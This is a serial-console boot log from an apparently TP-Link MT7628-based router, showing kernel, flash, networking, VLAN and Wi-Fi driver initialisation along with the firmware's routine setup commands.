Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0006b4ae&lt;br /&gt;
Readback ErrCtl register=0006b4ae&lt;br /&gt;
Memory: 61076k/65536k available (2715k kernel code, 4460k reserved, 664k data, 168k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
RALINK_GPIOMODE = 55154444&lt;br /&gt;
RALINK_GPIOMODE = 55144444&lt;br /&gt;
***** Xtal 40MHz *****&lt;br /&gt;
start PCIe register access&lt;br /&gt;
RALINK_RSTCTRL = 2400000&lt;br /&gt;
RALINK_CLKCFG1 = fdbfffc0&lt;br /&gt;
&lt;br /&gt;
*************** MT7628 PCIe RC mode *************&lt;br /&gt;
PCIE0 enabled&lt;br /&gt;
Port 0 N_FTS = 1b105000&lt;br /&gt;
init_rt2880pci done&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
pci 0000:00:00.0: BAR 0: can&#039;t assign mem (size 0x80000000)&lt;br /&gt;
pci 0000:00:00.0: BAR 8: assigned [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: assigned [mem 0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: set to [mem 0x20200000-0x2020ffff] (PCI address [0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: assigned [mem 0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: set to [mem 0x20000000-0x200fffff] (PCI address [0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: assigned [mem 0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: set to [mem 0x20100000-0x201fffff] (PCI address [0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: PCI bridge to [bus 01-01]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [io  disabled]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem pref disabled]&lt;br /&gt;
BAR0 at slot 0 = 0&lt;br /&gt;
bus=0x0, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 0&lt;br /&gt;
res[0]-&amp;gt;end = 0&lt;br /&gt;
res[1]-&amp;gt;start = 20200000&lt;br /&gt;
res[1]-&amp;gt;end = 2020ffff&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20000000&lt;br /&gt;
res[0]-&amp;gt;end = 200fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20100000&lt;br /&gt;
res[0]-&amp;gt;end = 201fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RT3xxx EHCI/OHCI init.&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
GD25Q64B(c8 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (954 buckets, 3816 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 168k freed&lt;br /&gt;
starting pid 691, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
FM_OUT value: u4FmOut = 0(0x00000000)&lt;br /&gt;
FM_OUT value: u4FmOut = 125(0x0000007D)&lt;br /&gt;
FM detection done! loop = 1&lt;br /&gt;
SR calibration value u1SrCalVal = 7&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: Ralink EHCI Host Controller&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: new USB bus registered, assigned bus number 1&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: irq 18, io mem 0x101c0000&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: USB 0.0 started, EHCI 1.00&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
ohci_hcd: USB 1.1 &#039;Open&#039; Host Controller (OHCI) Driver&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: RT3xxx OHCI Controller&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: new USB bus registered, assigned bus number 2&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: irq 18, io mem 0x101c1000&lt;br /&gt;
hub 2-0:1.0: USB hub found&lt;br /&gt;
hub 2-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
/etc/init.d/rcS: line 78: telnetd: not found&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
starting pid 778, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 139:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xad26, ret 0, retlen 0xad26&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2001 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_sys_getOldTZInfo ] 519:  Open TZ file error!&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot; &amp;gt; /proc/net/conRaeth v3.1 (ntract_LocalAddrNAPI&lt;br /&gt;
&lt;br /&gt;
[ util_exec,SkbRecycleSystem ] 139:  o)&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_tx_ring = 0x0318b000, tx_ring = 0xa318b000&lt;br /&gt;
tf cmd is &amp;quot;ifcon&lt;br /&gt;
phy_rx_ring0 = 0x0318c000, rx_ring0 = 0xa318c000&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[fe_sw_init:5185]rt305x_esw_init.&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 2&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntdevice eth0.3 entered promiscuous mode&lt;br /&gt;
f cmd is &amp;quot;ifconfdevice eth0 entered promiscuous mode&lt;br /&gt;
ig eth0.2 up&amp;quot;&lt;br /&gt;
br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlan_addLanPortsIntoBridge ] 574:  add lan Port 255 from br0&lt;br /&gt;
[ utidevice eth0.4 entered promiscuous mode&lt;br /&gt;
l_execSystem ] 1br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
39:  oal_br_addIbr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_bdevice eth0.5 entered promiscuous mode&lt;br /&gt;
r_addIntfIntoBribr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
dge cmd is &amp;quot;brctbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
l addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd isdevice eth0.6 entered promiscuous mode&lt;br /&gt;
 &amp;quot;brctl addif brbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
0 eth0.5&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ ubr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
til_execSystem ] 139:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c0988000, size = 1493064 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a277c000 size = 320&lt;br /&gt;
RX[0] DESC a2780000 size = 2048&lt;br /&gt;
RX[1] DESC a2781000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000002&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=2, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 32&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2946): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3048): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 11, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3027): Not support for HIF_MT yet!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fc&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 0.748s&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device ra0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 5(ra0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 5(ra0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 ra0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd device apcli0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridgdevice ra1 entered promiscuous mode&lt;br /&gt;
e cmd is &amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_execSyste&lt;br /&gt;
====&lt;br /&gt;
@@@ ed_status_read: EDCCA TH - H&lt;br /&gt;
pAd-&amp;gt;ed_trigger_cnt : 0 &amp;gt; 20 ||  pAd-&amp;gt;ed_big_rssi_stat : 0 &amp;lt; 50&lt;br /&gt;
====&lt;br /&gt;
m ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wlNetlinkTspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
ool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
